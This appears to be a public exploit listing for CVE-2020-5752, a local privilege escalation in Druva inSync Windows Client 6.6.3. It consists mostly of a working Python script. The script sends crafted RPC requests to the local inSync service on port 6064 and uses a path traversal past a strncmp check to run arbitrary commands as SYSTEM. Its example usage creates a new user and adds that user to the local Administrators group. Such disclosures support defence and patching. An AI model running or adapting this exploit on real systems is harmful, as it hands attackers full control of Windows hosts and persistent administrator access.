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Druva inSync Windows Client 6.6.3 Local Privilege Escalation

Druva inSync Windows Client 6.6.3 Local Privilege Escalation
Posted May 22, 2020
Authored by Matteo Malvica

Druva inSync Windows Client version 6.6.3 suffers from a local privilege escalation vulnerability.

tags | exploit, local
systems | windows
advisories | CVE-2020-5752
MD5 | 99eab8f5ac52b62c59036fc0f681226c

Druva inSync Windows Client 6.6.3 Local Privilege Escalation

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# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation
# Date: 2020-05-21
# Exploit Author: Matteo Malvica
# Credits: Chris Lyne for previous version's exploit
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 1909-18363.778
# CVE: CVE-2020-5752
# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation
# The path validation has been only implemented through a 'strncmp' function which can be bypassed by
# appending a directory traversal escape sequence at the end of the valid path.
# Writeup: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/

# Example usage:
#python insync.py "windows\system32\cmd.exe /C net user Leon /add"
#python insync.py "windows\system32\cmd.exe /C net localgroup Administrators Leon /add"

import socket
import struct
import sys

if len(sys.argv) < 2:
print "Usage: " + __file__ + " <quoted command to execute>"
print "E.g. " + __file__ + " \"net user /add tenable\""
sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = 'C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\..\\..\\..\\..\\..\\' + sys.argv[1]

def make_wide(str):
new_str = ''
for c in str:
new_str += c
new_str += '\x00'
return new_str

hello = "inSync PHC RPCW[v0002]"

func_num = "\x05\x00\x00\x00" # 05 is to run a command, passed as an agrument to CreateProcessW
command_line = make_wide(command_line) # converts ascii to UTF-8
command_length = struct.pack('<i', len(command_line)) # packed as little-endian integer
requests = [ hello, func_num, command_length, command_line ] # sends each request separately

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
print 'Sending request' + str(i)
sock.send(req)
i += 1

sock.close()

print "Done."
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